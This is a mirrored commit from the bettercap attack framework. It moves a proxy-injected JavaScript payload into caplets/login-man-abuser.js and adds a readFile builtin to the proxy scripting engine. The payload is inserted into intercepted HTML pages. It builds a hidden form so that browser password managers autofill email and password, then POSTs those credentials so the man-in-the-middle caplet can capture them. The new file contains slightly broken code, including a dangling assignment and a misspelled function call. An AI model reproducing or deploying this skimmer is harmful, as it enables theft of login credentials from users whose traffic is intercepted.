mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 10:46:57 -07:00
refact: exposing readFile builtin function to proxy scripts.
This commit is contained in:
parent
17bbae48a3
commit
493867be6b
3 changed files with 95 additions and 60 deletions
|
@ -9,66 +9,12 @@
|
|||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
||||
* - Intercept request, dump credentials, drop client to 404.
|
||||
*/
|
||||
var AbuserJavascript =
|
||||
'var injectForm = function(visible) {' + "\n" +
|
||||
' var container = document.createElement("div");' + "\n" +
|
||||
' if (!visible){' + "\n" +
|
||||
' container.style.display = "none";' + "\n" +
|
||||
' }' + "\n" +
|
||||
' var form = document.createElement("form");' + "\n" +
|
||||
' form.attributes.autocomplete = "on";' + "\n" +
|
||||
' var emailInput = document.createElement("input");' + "\n" +
|
||||
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
|
||||
' emailInput.id = "email";' + "\n" +
|
||||
' emailInput.type = "email";' + "\n" +
|
||||
' emailInput.name = "email";' + "\n" +
|
||||
' form.appendChild(emailInput);' + "\n" +
|
||||
' var passwordInput = document.createElement("input");' + "\n" +
|
||||
' passwordInput.id = "password";' + "\n" +
|
||||
' passwordInput.type = "password";' + "\n" +
|
||||
' passwordInput.name = "password";' + "\n" +
|
||||
' form.appendChild(passwordInput);' + "\n" +
|
||||
' container.appendChild(form);' + "\n" +
|
||||
' document.body.appendChild(container);' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var doPOST = function(data) {' + "\n" +
|
||||
' var xhr = new XMLHttpRequest();' + "\n" +
|
||||
'' + "\n" +
|
||||
' xhr.open("POST", "/login-man-abuser");' + "\n" +
|
||||
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
|
||||
' xhr.onload = function() {' + "\n" +
|
||||
' console.log("Enjoy your coffee!");' + "\n" +
|
||||
' };' + "\n" +
|
||||
'' + "\n" +
|
||||
' xhr.send(JSON.stringify(data));' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffInputField = function(fieldId){' + "\n" +
|
||||
' var inputElement = document.getElementById(fieldId);' + "\n" +
|
||||
' if (inputElement.value.length){' + "\n" +
|
||||
' return {fieldId: inputElement.value};' + "\n" +
|
||||
' }' + "\n" +
|
||||
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffInputFields = function(){' + "\n" +
|
||||
' var inputs = document.getElementsByTagName("input");' + "\n" +
|
||||
' data = {};' + "\n" +
|
||||
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
|
||||
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
|
||||
' output = stringsniffInputField(inputs[i].id);' + "\n" +
|
||||
' data = Object.assign({}, data, output);' + "\n" +
|
||||
' }' + "\n" +
|
||||
' doPOST(data);' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'var sniffFormInfo = function(visible) {' + "\n" +
|
||||
' injectForm(visible);' + "\n" +
|
||||
' sniffInputFields();' + "\n" +
|
||||
'};' + "\n" +
|
||||
'' + "\n" +
|
||||
'sniffFormInfo(false);';
|
||||
var AbuserJavascript = "";
|
||||
|
||||
function onLoad() {
|
||||
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
||||
}
|
||||
|
||||
// here we intercept the ajax POST request with leaked credentials.
|
||||
function onRequest(req, res) {
|
||||
|
@ -88,6 +34,7 @@ function onRequest(req, res) {
|
|||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
console.log(AbuserJavascript);
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
|
|
71
caplets/login-man-abuser.js
Normal file
71
caplets/login-man-abuser.js
Normal file
|
@ -0,0 +1,71 @@
|
|||
/*
|
||||
* Ref.
|
||||
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||
*
|
||||
* The idea:
|
||||
*
|
||||
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request.
|
||||
* - Intercept request, dump credentials, drop client to 404.
|
||||
*/
|
||||
var AbuserJavascript =
|
||||
var injectForm = function(visible) {
|
||||
var container = document.createElement("div");
|
||||
if (!visible){
|
||||
container.style.display = "none";
|
||||
}
|
||||
var form = document.createElement("form");
|
||||
form.attributes.autocomplete = "on";
|
||||
var emailInput = document.createElement("input");
|
||||
emailInput.attributes.vcard_name = "vCard.Email";
|
||||
emailInput.id = "email";
|
||||
emailInput.type = "email";
|
||||
emailInput.name = "email";
|
||||
form.appendChild(emailInput);
|
||||
var passwordInput = document.createElement("input");
|
||||
passwordInput.id = "password";
|
||||
passwordInput.type = "password";
|
||||
passwordInput.name = "password";
|
||||
form.appendChild(passwordInput);
|
||||
container.appendChild(form);
|
||||
document.body.appendChild(container);
|
||||
};
|
||||
|
||||
var doPOST = function(data) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
||||
xhr.open("POST", "/login-man-abuser");
|
||||
xhr.setRequestHeader("Content-Type", "application/json");
|
||||
xhr.onload = function() {
|
||||
console.log("Enjoy your coffee!");
|
||||
};
|
||||
|
||||
xhr.send(JSON.stringify(data));
|
||||
};
|
||||
|
||||
var sniffInputField = function(fieldId){
|
||||
var inputElement = document.getElementById(fieldId);
|
||||
if (inputElement.value.length){
|
||||
return {fieldId: inputElement.value};
|
||||
}
|
||||
window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms
|
||||
};
|
||||
|
||||
var sniffInputFields = function(){
|
||||
var inputs = document.getElementsByTagName("input");
|
||||
data = {};
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
console.log("Will try to sniff element with id: " + inputs[i].id);
|
||||
output = stringsniffInputField(inputs[i].id);
|
||||
data = Object.assign({}, data, output);
|
||||
}
|
||||
doPOST(data);
|
||||
};
|
||||
|
||||
var sniffFormInfo = function(visible) {
|
||||
injectForm(visible);
|
||||
sniffInputFields();
|
||||
};
|
||||
|
||||
sniffFormInfo(false);;
|
|
@ -57,6 +57,23 @@ func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScr
|
|||
return
|
||||
}
|
||||
|
||||
// define builtins
|
||||
s.VM.Set("readFile", func(call otto.FunctionCall) otto.Value {
|
||||
filename := call.Argument(0).String()
|
||||
raw, err := ioutil.ReadFile(filename)
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Could not read %s: %s", filename, err)
|
||||
return otto.Value{}
|
||||
}
|
||||
|
||||
v, err := s.VM.ToValue(string(raw))
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Could not convert to string: %s", err)
|
||||
return otto.Value{}
|
||||
}
|
||||
return v
|
||||
})
|
||||
|
||||
// run onLoad if defined
|
||||
if s.hasCallback("onLoad") {
|
||||
_, err = s.VM.Run("onLoad()")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue